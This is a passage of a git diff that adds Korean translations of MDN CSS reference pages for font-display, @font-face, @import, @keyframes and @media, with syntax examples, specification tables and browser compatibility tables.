+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css; highlight[7] notranslate">@font-face {
+ font-family: ExampleFont;
+ src: url(/path/to/fonts/examplefont.woff) format('woff'),
+ url(/path/to/fonts/examplefont.eot) format('eot');
+ font-weight: 400;
+ font-style: normal;
+ font-display: fallback;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}</td>
+ <td>{{Spec2('CSS4 Fonts')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.font-face.font-display")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+ <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+ <li>{{cssxref("font-feature-settings", "font-feature-settings")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+</ul>
diff --git a/files/ko/web/css/@font-face/index.html b/files/ko/web/css/@font-face/index.html
new file mode 100644
index 0000000000..9ba2e223e6
--- /dev/null
+++ b/files/ko/web/css/@font-face/index.html
@@ -0,0 +1,216 @@
+---
+title: '@font-face'
+slug: Web/CSS/@font-face
+translation_of: Web/CSS/@font-face
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="요약(Summary)">요약(Summary)</h2>
+
+<p><a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="At-rule">at-rule</a> 인 <code>@font-face</code> 를 사용하여 웹페이지의 텍스트에 온라인폰트(online fonts)를 적용할 수 있다. <code style="font-size: 14px;">@font-face</code> 를 사용하여 웹페이지 제작자가 원하는 폰트를 사용할 수 있게함으로써, 컴퓨터에 설치된 폰트만을 사용해야했던 제약이 없어지게되었다. <code>@font-face</code> at-rule 은 CSS의 top-level에서 뿐 아니라, <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">CSS conditional-group at-rule</a> 안에서도 사용될 수도 있다. </p>
+
+<p>{{ seeCompatTable() }}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<pre>@font-face {
+ font-family: &lt;a-remote-font-name&gt;;
+ src: &lt;source&gt; [,&lt;source&gt;]*;
+  [font-weight: &lt;weight&gt;];
+  [font-style: &lt;style&gt;];
+}
+</pre>
+
+<h3 id="속성값(Values)">속성값(Values)</h3>
+
+<dl>
+ <dt>&lt;a-remote-font-name&gt; </dt>
+ <dd>font 속성에서 폰트명(font face)으로 지정될 이름을 설정한다.</dd>
+ <dt>&lt;source&gt; </dt>
+ <dd>원격 폰트(remote font) 파일의 위치를 나타내는 URL 값을 지정하거나, 사용자 컴퓨터에 설치된 폰트명을 <code>local("Font Name")</code>형식으로 지정하는 속성이다.</dd>
+ <dt>&lt;weight&gt; </dt>
+ <dd><a class="internal" href="/en/CSS/font-weight" title="en/CSS/font-weight">폰트의 굵기(font weight)</a> 값.</dd>
+ <dt>&lt;style&gt; </dt>
+ <dd><a class="internal" href="/en/CSS/font-style" title="en/CSS/font-style">폰트 스타일(font style)</a> 값.</dd>
+</dl>
+
+<p>사용자의 로컬환경(local computer)에 설치된 폰트는 <code>local()</code> 이라는 구문을 사용하여 지정이 가능하다. 만약 해당 폰트를 찾지못한다면, 다른 대체 폰트를 찾을때까지 폰트를 검색작업을 계속 할 것이다.</p>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p>아래는 다운로드하여 사용가능한 폰트를 설정하는 간단한 예제이며, document의 전체 body 영역에 폰트가 적용된다.</p>
+
+<p><a class="internal" href="/@api/deki/files/2935/=webfont-sample.html" title="/@api/deki/files/2935/=webfont-sample.html">View live sample</a></p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;Web Font Sample&lt;/title&gt;
+ &lt;style type="text/css" media="screen, print"&gt;
+ @font-face {
+ font-family: "Bitstream Vera Serif Bold";
+ src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+ }
+
+ body { font-family: "Bitstream Vera Serif Bold", serif }
+ &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ This is Bitstream Vera Serif Bold.
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>아래 예제에서는 로컬에 설치된 "Helvetica Neue Bold" 폰트가 사용된다. 만약 해당 폰트가 설치되어 있지 않다면(다른 2개의 폰트를 적용하기 위한 시도를 하고), 다운로드 가능한 "MgOpenModernaBold.ttf" 폰트가 대신 사용된다.</p>
+
+<pre class="brush: css">@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="주의사항(Notes)">주의사항(Notes)</h2>
+
+<ul>
+ <li>Gecko에서는, 동일 도메인 제한(same domain restriction)을 피하기 위해 <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">HTTP access controls</a> 을 사용하지 않는한, 웹폰트(web fonts)의 사용시에는  동일 도메인 제한이 적용된다(폰트 파일은 폰트가 사용되는 페이지와 동일한 도메인상에 존재해야 함).</li>
+ <li>
+ <div class="note"><strong>주의사항:</strong> TrueType, OpenType, Web Open File(WOFF) 폰트에 대한 MIME타입이 정의되지 않았기 때문에, 파일에 적용될 MIME 타입에 대해서는 고려하지 않아도 된다.</div>
+ </li>
+ <li>Gecko에서는 웹폰트(web font)가 사용된 페이지를 표시할 때는 웹폰트가 다운로드 되는 동안 사용자의 컴퓨터에 이미 설치되어 있어 즉시 사용가능한 폰트(CSS fallback font)를 사용하여 텍스트를 표시한다. 각각의 웹폰트의 다운로드가 완료되면 Gecko는 해당 텍스트의 폰트를 교체한다. 이러한 과정은 사용자가 웹페이지 내의 텍스트를 좀 더 빨리 읽게끔 도와준다.</li>
+</ul>
+
+<h2 id="Notes" name="Notes">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WOFF1.0', '', 'WOFF font format') }}</td>
+ <td>{{ Spec2('WOFF1.0') }}</td>
+ <td>Font format specification</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Fonts', '#font-face-rule', '@font-face') }}</td>
+ <td>{{ Spec2('CSS3 Fonts') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성(Browser_compatibility)">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+ <td>4.0</td>
+ <td>4.0</td>
+ <td>10.0</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td><a href="/en/WOFF" title="en/About_WOFF">WOFF</a></td>
+ <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+ <td>6.0</td>
+ <td>9.0</td>
+ <td>11.10</td>
+ <td>5.1</td>
+ </tr>
+ <tr>
+ <td>SVG Font</td>
+ <td>{{ CompatNo() }}<br>
+ {{ unimplemented_inline(119490) }}</td>
+ <td>yes</td>
+ <td>{{ CompatNo() }}</td>
+ <td>yes</td>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mini</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>10.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>WOFF</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoMobile("5.0") }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>11.0</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ <tr>
+ <td>SVG fonts</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}<br>
+ {{ unimplemented_inline(119490) }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>10.0</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="주의사항(Notes)_2">주의사항(Notes)</h3>
+
+<ul>
+ <li>Embedded OpenType 폰트는 특허가 적용되기 때문에, 호환성 테이블(compatibility table)에 포함되어 있지 않다. IE 9.0 이전의 브라우저에서, IE는 이 포맷(format)만을 지원했었다.</li>
+ <li>TrueType 과 OpenType 는 WOFF로 교체되어 포함되지 않았다.</li>
+</ul>
+
+<h2 id="참고자료(See_also)">참고자료(See also)</h2>
+
+<dl>
+</dl>
+
+<ul>
+ <li><a href="/en/WOFF" title="en/About WOFF">About WOFF</a></li>
+ <li><a class="external" href="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face</a></li>
+ <li><a class="external" href="http://openfontlibrary.org/" title="http://openfontlibrary.org/">Open Font Library</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">Microsoft Developer Network (MSDN) @font-face reference</a></li>
+ <li><a class="external" href="http://caniuse.com/woff">When can I use WOFF?</a></li>
+ <li><a class="external" href="http://caniuse.com/svg-fonts">When can I use SVG Fonts?</a></li>
+</ul>
diff --git a/files/ko/web/css/@import/index.html b/files/ko/web/css/@import/index.html
new file mode 100644
index 0000000000..a4648971ae
--- /dev/null
+++ b/files/ko/web/css/@import/index.html
@@ -0,0 +1,83 @@
+---
+title: '@import'
+slug: Web/CSS/@import
+tags:
+ - At-rule
+ - CSS
+ - Reference
+translation_of: Web/CSS/@import
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@import</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>은 다른 스타일 시트에서 스타일 규칙을 가져올 때 쓰입니다.</span> 이 규칙은 {{cssxref("@charset")}} 규칙을 제외하고 모든 다른 종류의 규칙보다 선행해야 합니다. <code>@import</code>는 <a href="/ko/docs/Web/CSS/Syntax#nested_statements" title="nested statement">중첩 명령문</a>이 아니기 때문에 <a href="/ko/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="conditional group at-rules">조건부 그룹 @규칙</a> 내에 사용할 수 없습니다.</p>
+
+<pre class="brush: css">@import url("fineprint.css") print;
+@import url("bluish.css") speech;
+@import 'custom.css';
+@import url("chrome://communicator/skin/");
+@import "common.css" screen;
+@import url('landscape.css') screen and (orientation:landscape);
+</pre>
+
+<p>사용자 에이전트는 지원되지 않는 미디어 유형에 대한 자원 검색을 피할 수 있도록, 제작자는 미디어에 의존한 <code>@import</code> 규칙을 지정할 수 있습니다. 이러한 조건부 import는 URI 뒤에 쉼표로 구분된 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries" title="media queries">미디어 질의</a>를 지정합니다. 미디어 질의가 없으면, import는 무조건(unconditional)입니다. 미디어에 <code>all</code>을 지정하면 같은 효과가 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">@import <em>url</em>;
+@import <em>url</em> <em>list-of-media-queries</em>;
+</pre>
+
+<p>where:</p>
+
+<dl>
+ <dt><code><em>url</em></code></dt>
+ <dd>import할 자원의 위치를 나타내는 {{cssxref("&lt;string&gt;")}} 또는 {{cssxref("&lt;uri&gt;")}}입니다. URL은 절대 또는 상대일 수 있습니다. URL은 실제로 파일에 지정할 필요는 없음을 주의하세요; 그냥 패키지 명 및 일부를 지정할 수 있으며 적절한 파일이 자동으로 선택됩니다(가령 <strong>chrome://communicator/skin/</strong>). 자세한 내용은 <a href="/ko/docs/XUL_Tutorial/The_Chrome_URL">여기를 참조</a>.</dd>
+ <dt><code><em>list-of-media-queries</em></code></dt>
+ <dd>링크된 URL 내에 정의된 CSS 규칙의 적용을 조절하는 쉼표 구분된 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries" title="media queries">미디어 질의</a> 목록입니다. 브라우저가 이러한 질의를 지원하지 않으면, 링크된 자원을 로드하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Cascade', '#at-ruledef-import', '@import')}}</td>
+ <td>{{Spec2('CSS3 Cascade')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Media Queries', '#media0', '@import')}}</td>
+ <td>{{Spec2('CSS3 Media Queries')}}</td>
+ <td>Extended the syntax to support any media query and not only simple <a href="/en-US/docs/Web/CSS/@media#Media_types">media types</a>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'cascade.html#at-import', '@import')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Added support for {{cssxref("&lt;string&gt;")}} to denote the url of a stylesheet,<br>
+ and requirement to insert the <code>@import</code> rule at the beginning of the CSS document.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#the-cascade', '@import')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.import")}}</p>
diff --git a/files/ko/web/css/@keyframes/index.html b/files/ko/web/css/@keyframes/index.html
new file mode 100644
index 0000000000..dbdfd67d92
--- /dev/null
+++ b/files/ko/web/css/@keyframes/index.html
@@ -0,0 +1,152 @@
+---
+title: '@keyframes'
+slug: Web/CSS/@keyframes
+tags:
+ - Animations
+ - At-rule
+ - CSS
+ - Reference
+translation_of: Web/CSS/@keyframes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>@keyframes</code></strong> <a href="/ko/docs/Web/CSS/At-rule">@규칙</a>은 개발자가 애니메이션 중간중간의 특정 지점들을 거칠 수 있는 키프레임들을 설정함으로써 CSS 애니메이션 과정의 중간 절차를 제어할 수 있게 합니다. 이 룰은 브라우저가 자동으로 애니메이션을 처리하는 것 보다 더 세밀하게 중간 동작들을 제어할 수 있습니다.</p>
+
+<p> </p>
+
+<pre class="brush: css">@keyframes slidein {
+ from {
+ margin-left: 100%;
+ width: 300%;
+ }
+
+ to {
+ margin-left: 0%;
+ width: 100%;
+ }
+}</pre>
+
+<p><code>@keyframes</code> @규칙은 CSS 오브젝트 모델 인터페이스인 {{domxref("CSSKeyframesRule")}}를 통해서 접근합니다.</p>
+
+<p>키프레임을 사용하려면 <code>@keyframes</code> 룰을 애니메이션과 키프레임 리스트를 매칭시킬 {{ cssxref("animation-name") }} 속성에서 사용할 이름과 함께 생성합니다. 각 <code>@keyframes</code> 룰은 키프레임 선택자의 스타일 리스트를 포함하고 있고, 각 리스트는 각 키프레임이 생성되고 키프레임의 스타일 정보를 포함하고 있는 지점에서 사용할 %로 구성됩니다.</p>
+
+<p>키프레임은 순서대로 나열 가능합니다. 지정된 %의 순서대로 처리됩니다.</p>
+
+<h3 id="유효한_키프레임_리스트">유효한 키프레임 리스트</h3>
+
+<p>키 프레임 리스트가 유효하려면 최소한 0% 와 100% 같은 시간에 대한 규칙은 포함해야 합니다 (%가 의미하는 것은 애니메이션의 시작과 끝 상태를 의미). 만약 이 타임 오프셋이 정해져 있지 않으면, 키 프레임 선언이 무효합니다; 파서가 인식하지 않거나 애니메이션에서 사용되지 않습니다.</p>
+
+<p>만약 키 프레임 룰에 애니메이션이 되지 않는 속성을 포함하면 이 속성은 무시가 됩니다. 애니메이션을 지원하는 속성들은 여전히 애니메이션이 됩니다.</p>
+
+<h3 id="중복_해상도">중복 해상도</h3>
+
+<p>만약 한개의 이름에 대해서 여러개의 키프레임 셋이 존재하면, 파서가 마지막으로 마주치는 키프레임 셋만 유효합니다. <code>@keyframes 룰은 연속되지 않기 때문에 한개의 룰 셋 이상을 적용하지 않습니다.</code></p>
+
+<h3 id="키_프레임_밖에_속성이_지정된_경우">키 프레임 밖에 속성이 지정된 경우</h3>
+
+<p>어떤 키 프레임에도 정의되지 않는 속성들은 애니메이션과는 완전 별도로 삽입되지 않는 경우를 제외하고는 삽입됩니다. 예를 들어,</p>
+
+<pre class="brush: css">@keyframes identifier {
+ 0% { top: 0; left: 0; }
+ 30% { top: 50px; }
+ 68%, 72% { left: 50px; }
+ 100% { top: 100px; left: 100%; }
+}
+</pre>
+
+<p>여기 {{ cssxref("top") }} 속성은 <code>0%</code>, <code>30%</code>, <code>100% 키 프레임을 이용하여 애니메이션 됩니다. </code>{{ cssxref("left") }} 속성은 <code>0%</code>, <code>68%</code>, <code>100% 키 프레임을 사용합니다.</code></p>
+
+<p><code>0%</code> 와 <code>100%</code> 키 프레임 모두에 정의된 속성들만 애니메이션 동작을 합니다. 이 둘 중 아무것도 포함되지 않은 속성은 애니메이션 연속을 지속하기 위한 시작 값으로 사용됩니다.</p>
+
+<h3 id="키_프레임이_여러번_정의_된_경우">키 프레임이 여러번 정의 된 경우</h3>
+
+<p>스펙에서는 모든 속성이 각 키 프레임이 지정된 게 아니라 키 프레임이 여러번 정의 된 경우에는 가장 최근의 키프레임에 선언된 값들만 유효하다고 나와 있습니다. 예를 들어,</p>
+
+<pre class="brush: css">@keyframes identifier {
+ 0% { top: 0; }
+ 50% { top: 30px; left: 20px; }
+ 50% { top: 10px; }
+ 100% { top: 0; }
+}
+</pre>
+
+<p>이 예제를 보면 <code>50%</code> 키프레임에서 <code>top: 10px 이고 다른 값들은 모두 무시됩니다.</code></p>
+
+<p>{{ non-standard_inline }} {{ fx_minversion_inline("14") }} 키 프레임 효과 연속은 파이어폭스 14부터 지원됩니다. 이 의미는 위 예제의 경우 50% 키 프레임에서 왼쪽 : 20px 값이 고려된다는 의미입니다. 이러한 기능이 스펙에는 아직 정의가 되어있진 않지만, 현재 도입에 대한 토론이 진행 중입니다.</p>
+
+<h3 id="키프레임에서_!important">키프레임에서 !important</h3>
+
+<p><code>키프레임에서 !important</code> 속성을 이용한 정의는 모두 무시됩니다.</p>
+
+<pre class="brush: css">@keyframes important1 {
+ from { margin-top: 50px; }
+ 50% { margin-top: 150px !important; } /* ignored */
+ to { margin-top: 100px; }
+}
+
+@keyframes important2 {
+ from { margin-top: 50px;
+ margin-bottom: 100px; }
+ to { margin-top: 150px !important; /* ignored */
+ margin-bottom: 50px; }
+}
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;identifier&gt;</code></dt>
+ <dd>A name identifying the keyframe list. This must match the identifier production in CSS syntax.</dd>
+ <dt><code>from</code></dt>
+ <dd>A starting offset of <code>0%</code>.</dd>
+ <dt><code>to</code></dt>
+ <dd>An ending offset of <code>100%</code>.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>A percentage of the time through the animation sequence at which the specified keyframe should occur.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS animations</a> for examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Animations', '#keyframes', '@keyframes') }}</td>
+ <td>{{ Spec2('CSS3 Animations') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{Compat("css.at-rules.keyframes")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ol>
+ <li>@keyframes not supported in an inline or scoped stylesheet in Firefox ({{bug(830056)}}).</li>
+</ol>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>{{domxref("AnimationEvent")}}</li>
+</ul>
diff --git a/files/ko/web/css/@media/index.html b/files/ko/web/css/@media/index.html
new file mode 100644
index 0000000000..6c06996035
--- /dev/null
+++ b/files/ko/web/css/@media/index.html
@@ -0,0 +1,153 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+tags:
+ - '@media'
+ - At-rule
+ - CSS
+ - Reference
+ - 미디어 쿼리
+translation_of: Web/CSS/@media
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>@media</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> <a href="/ko/docs/Web/CSS/At-rule" title="at-rule">@규칙</a>은 스타일 시트의 일부를 하나 이상의 <a href="/ko/docs/Web/Guide/CSS/Media_queries">미디어 쿼리</a> 결과에 따라 적용할 때 사용할 수 있습니다.</span> <code>@media</code>를 사용해 미디어 쿼리를 지정하면 해당 쿼리를 만족하는 장치에서만 CSS 블록을 적용할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> JavaScript에서는 <code>@media</code>를 {{domxref("CSSMediaRule")}} CSS 객체 모델 인터페이스로 접근할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<p><code>@media</code> @규칙은 최상위 코드나, 아무 <a href="/ko/docs/Web/CSS/At-rule#조건부_그룹_규칙">조건부 그룹 @규칙</a> 안에 중첩해 작성할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">/* 최상위 코드 레벨 */
+@media screen and (min-width: 900px) {
+ article {
+ padding: 1rem 3rem;
+ }
+}
+
+/* 다른 조건부 @규칙 내에 중첩 */
+@supports (display: flex) {
+ @media screen and (min-width: 900px) {
+ article {
+ display: flex;
+ }
+ }
+}
+</pre>
+
+<p>미디어 쿼리 구문에 관한 내용은 <a href="/ko/docs/Web/Guide/CSS/Media_queries#구문">미디어 쿼리 사용하기</a> 문서를 참고하세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>글씨 크기를 조절한 사용자를 위해서, 미디어 쿼리의 {{cssxref("&lt;length&gt;")}} 자리에는 <code><a href="/ko/docs/Web/CSS/length#em">em</a></code>을 사용하는게 좋습니다.</p>
+
+<p><code>em</code>과 <code><a href="/ko/docs/Web/CSS/length#px">px</a></code> 모두 유효한 단위지만, 사용자가 브라우저의 글씨 크기를 변경했다면 <code>em</code>이 더 자연스럽게 동작합니다.</p>
+
+<p>Level 4 미디어 쿼리를 통한 사용자 경험 향상도 고려해보세요. 예컨대 <code>prefers-reduced-motion</code> 쿼리를 사용하면 <a href="/ko/docs/Web/CSS/@media/prefers-reduced-motion">사용자가 시스템에 애니메이션을 최소로 줄여달라고 요청했는지 알 수 있습니다</a>.</p>
+
+<h2 id="Examples" name="Examples">보안</h2>
+
+<p>미디어 쿼리는 사용자의 장치와 더 나아가 기능과 디자인에 대한 통찰을 제공하므로, "핑거프린팅"을 통해 장치 고유 식별자로 활용하거나, 그보단 덜 해도 사용자가 원하지 않을 수준의 분류를 하기 위해 오용할 가능성이 있습니다.</p>
+
+<p>그러므로 브라우저는 기기의 특정을 방지하기 위해 일부 반환 값을 모호하게 할 수 있습니다. 또한 사용자에게 추가 설정을 제공할 수도 있는데, 예를 들어 Firefox의 "핑거프린터 차단" 기능을 활성화하면 많은 수의 미디어 쿼리는 실제 장치 상태 대신 기본 값을 보고하게 됩니다.</p>
+
+<h2 id="Examples" name="Examples">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="출력과_화면_미디어_타입_판별">출력과 화면 미디어 타입 판별</h3>
+
+<pre class="brush: css notranslate">@media print {
+ body { font-size: 10pt; }
+}
+
+@media screen {
+ body { font-size: 13px; }
+}
+
+@media screen, print {
+ body { line-height: 1.2; }
+}
+
+@media only screen
+ and (min-width: 320px)
+ and (max-width: 480px)
+ and (resolution: 150dpi) {
+ body { line-height: 1.4; }
+}</pre>
+
+<p>Media Queries Level 4부터는 새로운 범위 표현 구문을 사용해 더 간결한 미디어 쿼리를 작성할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">@media (height &gt; 600px) {
+ body { line-height: 1.4; }
+}
+
+@media (400px &lt;= width &lt;= 700px) {
+ body { line-height: 1.4; }
+}</pre>
+
+<p>더 많은 예제는 <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a>를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Comment</th>
+ <th scope="col">Feedback</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS5 Media Queries', '#at-media5', '@media')}}</td>
+ <td>Reinstates <code>light-level</code>, <code>inverted-colors</code> and Custom Media Queries, which were removed from Level 4.<br>
+ Adds <code>prefers-reduced-motion</code>, <code>prefers-reduced-transparency</code>, <code>prefers-contrast</code>, and <code>prefers-color-scheme</code> media features.</td>
+ <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Conditional', '#at-media', '@media')}}</td>
+ <td>Defines the basic syntax of the <code>@media</code> rule.</td>
+ <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Media Queries', '#media', '@media')}}</td>
+ <td>
+ <p>Adds <code>scripting</code>, <code>pointer</code>, <code>hover</code>, <code>update</code>, <code>overflow-block</code>, and <code>overflow-inline</code> media features.<br>
+ Deprecates all media types except for <code>screen</code>, <code>print</code>, <code>speech</code>, and <code>all</code>.<br>
+ Makes the syntax more flexible by adding, among other things, the <code>or</code> keyword.</p>
+ </td>
+ <td><a href="https://github.com/w3c/csswg-drafts/issues">CSS Working Group drafts GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Media Queries', '#media0', '@media')}}</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'media.html#at-media-rule', '@media')}}</td>
+ <td>Initial definition.</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.media")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">미디어 쿼리 사용하기</a></li>
+ <li>JavaScript에서 <code>@media</code>에 접근할 때 사용할 수 있는 CSS 객체 모델 인터페이스 {{domxref("CSSMediaRule")}}</li>
+ <li><a href="/ko/docs/Web/CSS/Mozilla_Extensions#Media_features">Mozilla 미디어 특성 확장</a></li>
+ <li><a href="/ko/docs/Web/CSS/Webkit_Extensions#Media_features">WebKit 미디어 특성 확장</a></li>
+</ul>
diff --git a/files/ko/web/css/@media/prefers-color-scheme/index.html b/files/ko/web/css/@media/prefers-color-scheme/index.html
new file mode 100644
index 0000000000..1ce1a10a2b
--- /dev/null
+++ b/files/ko/web/css/@media/prefers-color-scheme/index.html
@@ -0,0 +1,89 @@
+---
+title: prefers-color-scheme
+slug: Web/CSS/@media/prefers-color-scheme
+tags:
+ - '@media'
+ - CSS
+ - Reference
+ - Web
+ - prefers-color-scheme
+translation_of: Web/CSS/@media/prefers-color-scheme
+---
